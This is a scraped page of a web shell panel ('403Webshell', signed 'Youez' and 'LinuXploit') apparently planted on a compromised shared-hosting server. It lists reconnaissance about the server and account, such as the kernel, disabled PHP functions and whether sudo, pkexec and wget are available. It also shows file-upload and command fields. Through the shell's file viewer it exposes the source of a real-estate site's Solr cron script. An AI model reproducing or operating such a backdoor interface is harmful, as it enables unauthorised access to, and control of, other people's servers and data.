403Webshell
Server IP : 172.67.178.83  /  Your IP : 216.73.217.141
Web Server : Apache
System : Linux hosting01.arsenalhost.com 4.18.0-425.13.1.lve.el8.x86_64 #1 SMP Mon Feb 27 15:23:24 EST 2023 x86_64
User : corbizre ( 1013)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/corbizre/gotofindhomes.com/cron/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/corbizre/gotofindhomes.com/cron/solr.php
<?php

error_reporting(E_ALL ^ (E_NOTICE | E_WARNING));

define('REAL_ESTATE_CRON', 1);

$AppFolder = dirname(__FILE__).'/..';

try{

    $ComponentsPath = array($AppFolder.'/components');
    $BaseUrl = substr($_SERVER['SCRIPT_NAME'], 0, strrpos($_SERVER['SCRIPT_NAME'], '/'));
    /** setup path components */
    foreach ($ComponentsPath as $Path) {
        set_include_path(ini_get('include_path') . PATH_SEPARATOR.  $Path);
    }

    if (version_compare(PHP_VERSION, '7.0.0') < 0) {
        exit("PHP version >= 7.0");
    }
    require $AppFolder . '/vendor/autoload.php';
    $autoloader = Zend_Loader_Autoloader::getInstance();
    $autoloader->registerNamespace('System');
    $autoloader->setFallbackAutoloader(true);
    $autoloaderSystem = new System_Autoloader();
    $autoloader->pushAutoloader($autoloaderSystem, 'System');
    $autoloader->pushAutoloader($autoloaderSystem, 'Image');
    $autoloader->pushAutoloader($autoloaderSystem, 'User');
    $autoloader->pushAutoloader($autoloaderSystem, 'LogSystem');
    $autoloader->pushAutoloader($autoloaderSystem, 'Settings');
    $autoloader->pushAutoloader($autoloaderSystem, 'RealEstate');
    $autoloader->pushAutoloader($autoloaderSystem, 'Import');

    Zend_Registry::set('AppFolder', $AppFolder);
    Zend_Registry::set('ComponentsPath', $ComponentsPath);
    Zend_Registry::set('baseUrl', $BaseUrl);

    System_Application::getInstance()->init();

    Zend_Layout::startMvc();
    System_Session::getInstance()->run();
    System_Database::getInstance()->run();
    System_Acl::getInstance()->run();
    $objectRequest = new Zend_Controller_Request_Http();
    $objectResponse = new Zend_Controller_Response_Cli();
    $objectRequest->setActionName('index');
    $objectRequest->setControllerName('index');
    $objectRequest->setModuleName('solr');
    $objPluginDispatch = new System_Controller_Plugin_Dispatch();
    $objPluginDispatch->preDispatch($objectRequest);
    System_Controller::getController()->getDispatcher()->dispatch($objectRequest, $objectResponse);
    $objectResponse->sendResponse();

}catch (Exception $exception){
    if (! System_Controller::getInstance()->getConfig()->throwExceptions)
    {
        $log = new Zend_Log(
            new Zend_Log_Writer_Stream(
                Zend_Registry::get('AppFolder') . '/logs/error-solr.log'
            )
        );
        $log->emerg($exception->getMessage() . "\n" .
                    $exception->getTraceAsString());
    }else{
        echo 'System Application Run Exception:';
        echo '<pre>';
        echo "Caught exception: " . get_class($exception) . "\n";
        echo "Message: " . $exception->getMessage() . "\n";
        echo  $exception->getTraceAsString() . "\n";
        echo '</pre>';
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit